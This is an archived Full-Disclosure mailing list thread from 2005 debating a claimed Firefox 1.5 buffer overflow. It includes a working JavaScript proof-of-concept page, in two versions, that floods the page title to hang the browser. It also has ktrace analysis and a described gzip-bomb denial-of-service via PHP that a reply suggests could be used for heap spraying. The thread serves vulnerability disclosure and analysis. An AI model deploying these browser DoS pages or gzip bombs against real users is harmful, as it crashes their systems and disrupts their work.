| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Sat Dec 10 02:45:04 2005
From: fosforo at gmail.com (Fósforo)
Subject: Firefox 1.5 buffer overflow (poc) - more buffer
"overflows" waiting to be discovered
It works here.
seems it depends on how much ram you've. i got 2 blue screens, after
changed the code a bit. the first one was about MEMORY_MANAGEMENT and
the second one was a PAGE_FAULT_IN_NONPAGED_AREA. And both occurs
without user interaction, the second one i just've opened firefox, not
the bug file (maybe cache ?)
ps: i've 1Gb of ram
<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
var buffer3 = buffer2;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
for (i = 0; i < 500; i++) {
buffer3 += buffer2;
}
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>
2006/1/31, ezdy <ezdy@....com>:
> and theres no reason for it to be working.
> first let's see what's going on - i loaded provided html in firefox
> and quitted it.
> even quitting firefox took a while, but only slightly longer than usual.
> after starting firefox again, it indeed didn't load, stuck in some
> kind of disk loop ignoring all macosx ui events.
> but not swapping. alright, that's strange:
>
> ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox-
> bin
> ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |
> tail -100
> ...
> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
> 7616 firefox-bin GIO fd 24 read 4096 bytes
> "0"
> 7616 firefox-bin RET read 4096/0x1000
> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
> 7616 firefox-bin GIO fd 24 read 4096 bytes
> "0"
> 7616 firefox-bin RET read 4096/0x1000
> 7616 firefox-bin CALL lseek(0x18,0x21a000,0)
> 7616 firefox-bin RET lseek 0
> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
> 7616 firefox-bin GIO fd 24 read 4096 bytes
> "0"
> 7616 firefox-bin RET read 4096/0x1000
> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
> 7616 firefox-bin GIO fd 24 read 4096 bytes
> "\\"
> 7616 firefox-bin RET read 4096/0x1000
> 7616 firefox-bin CALL lseek(0x18,0x21c000,0)
> 7616 firefox-bin RET lseek 0
> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
> 7616 firefox-bin GIO fd 24 read 4096 bytes
> "A"
> 7616 firefox-bin RET read 4096/0x1000
> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
> 7616 firefox-bin GIO fd 24 read 4096 bytes
> "A"
> 7616 firefox-bin RET read 4096/0x1000
> 7616 firefox-bin CALL lseek(0x18,0x21e000,0)
> 7616 firefox-bin RET lseek 0
> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>
> this repeats virtually ad-infinitum until end of history.dat is reached.
> note that there is never allocated any memory-the same buffer is
> always used, thus no memory leak.
> firefox is stuck in loop (and eventually starts, since the string is
> finite, in my case
> about 30M) but it took way too longer to load. im not a windows user
> but since mac is only
> step away from it (you know apple, let's take win95 and freebsd and
> mix it together) my guess is
> it is the same situation of keeping main thread busy and events
> cannot be passed down, eventualy
> leading to "application is not responding" killbox.
>
> for Z1PL0CK:
> Don't stop, keep posting fake "buffer overflows" of #darknet
> trademonkeys (this one actually looked funny in the beggining).
> This time you made it to get /.ed which is not a bad start, but yo
> gonna fly higher!
>
> Because this bug got killed, i've something better for you:
> dd if=/dev/zero a 2GB file and gzip it. then just write a php script
> which sets content-encoding: gzip and
> fpassthru the file. safari rendered 1.2gb system unresponsible in 5
> seconds, firefox in about 30. both crashed
> on "overflows" like this:
>
> Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)
> failed (error code=3)
> Safari(233,0xa000ed68) malloc: *** error: can't allocate region
> Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to
> debug
>
> for those interested i can send coredumps
>
> now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly
> pollute browser's heap with shellcode: yah, this
> is a good way).
>
> sheesh. is this some 'who invent a stupidier dos attack against
> browser' contest of some sort or what?
>
> On 8.12.2005, at 20:51, Matt wrote:
>
> > Didn't work here, just made the system go a bit sluggish for a
> > moment, as you would expect when dealing with a 2.5 million
> > character string.
> >
> > Firefox :
> > Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130
> > Firefox/1.5
> > Built with :
> > gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
> > Window manager:
> > KDE 3.5.0
> >
> > Possibly it is crashing the Windows API ?
> >
> > --
> > Matt
> >
> >
> > On 12/9/05, Ron <iago@...hallalegends.com > wrote:I was also unable
> > to replicate it, on Firefox 1.5 i386 Linux EN
> >
> > ad@...poverflow.com wrote:
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > > Hash: SHA1
> > >
> > > nor a fake , nor you really dont know what is a buffer overflow,
> > but for
> > > sure here on my firefox 1.5 EN, the client is much longuer to
> > load to
> > > the next boot but it reloads fine without exceptions and there is
> > > nothing about a security bug here...
> > >
> > >
> > >> <!-- Firefox 1.5 buffer overflow
> > >>
> > >> Basically firefox logs all kinda of URL data in it's history.dat
> > file,
> > >> this little script will set a really large topic and Firefox
> > will then
> > >> save that topic into it's history.dat.. The next time that
> > firefox is
> > >> opened, it will instantly crash due to a buffer overflow -- this
> > will
> > >> happen everytime until you manually delete the history.dat file
> > -- >which
> > >> most users won't figure out.
> > >>
> > >> this proof of concept will only prevent someone from reopening
> > >> their browser after being exploited. DoS if you will. however, code
> > >> execution is possible with some modifcations.
> > >>
> > >> Tested with Firefox 1.5 on Windows XP SP2.
> > >>
> > >> ZIPLOCK <sickbeatz@...il.com>
> > >>
> > >> -->
> > >> <html><head><title>heh</title><script type="text/javascript">
> > >> function ex() {
> > >> var buffer = "";
> > >> for (var i = 0; i < 5000; i++) {
> > >> buffer += "A";
> > >> }
> > >> var buffer2 = buffer;
> > >> for (i = 0; i < 500; i++) {
> > >> buffer2 += buffer;
> > >> }
> > >> document.title = buffer2;
> > >> }
> > >> </script></head><body>ZIPLOCK says <a href="javascript:ex
> > ();">CLICK ME
> > >> </a></body></html>
> > > -----BEGIN PGP SIGNATURE-----
> > > Version: GnuPG v1.4.2 (MingW32)
> > >
> > > iQIVAwUBQ5g3Jq+LRXunxpxfAQIg5RAAsMXisNDN9AcLiWf9F7nsoKhT6uaULAw+
> > > 4omnQUjuaRvxAIYRwKNC1nC+zl8qzmUsL4Extkd52mn7OkTrprd1MUE09CoshSlX
> > > Nq9N62bJ4zqRsdrum1NQhc358scTWNKCmWWXtSGNqu4fGnvpljyeYRACGeC6UD/v
> > > DDbikg09XOO+GffIAf4la63f+SV63+laZ6TkmX2jxBdw1LBN0mMCBLo0IPY5K78m
> > > /Cu2SCIqvs00ih6olLp9f8/3p9SgiK2+D9UiTnw3F3f2mYR5r7uGilYL9PNQPmKE
> > > crCnfKCYxi/4P03rnIuja9LNloQWkBTsOhOfe5716NlQ/KZAz/IpfTw7yS6sdn22
> > > cxUpAE5zQqfI7jI0cD3yozmSksMyyEBLojAtsn2ECFOKpQQgkoOgaQX+dnrT+EYo
> > > pr2qquUKH/GXHGeT9od57cUkC/Jaf7qcaSkF6/LJ+13yHcsuDH0KcsMCYDP6aGN3
> > > 5R4/c6MAGFWKblMzdksWe+qqCDgm1yeM7MBbHGYyL6PMnfSldJBD29kGceLc47hi
> > > AVJaVmmDb3Nc/fo93gmqUT/x+mMItyk8+4dH0HOzEjRfI0qedeD+1uusS97ThVEw
> > > 2KG1o/1vlLPsnailmtHbj8sj/iawQvQRR/Phvk2Noz8bTQSEkDuThtE+zr2ZEjvb
> > > IFxjTMn8Sc0=
> > > =SX09
> > > -----END PGP SIGNATURE-----
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
--
----------------------------------------------
"O caminho do homem de bem ? cercado de
todos os lados pelas iniq?idades do ego?smo
e tirania dos homens maus. Aben?oados os que,
em nome da caridade e boa vontade, conduzem
os fracos pelo vale das sombras, pois ele ?
o guardi?o de seu irm?o e o que encontra os
filhos perdidos. E eu vou atacar com vingan?a
e f?ria os que tentarem envenenar e destruir
meus irm?os. E quando minha vingan?a se abater
sobre eles, saber?o que eu sou o Senhor."
(Ezequiel, 25, 17)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: firefox_test.jpg
Type: image/jpeg
Size: 58767 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051209/51c7ad51/firefox_test.jpg
Powered by blists - more mailing lists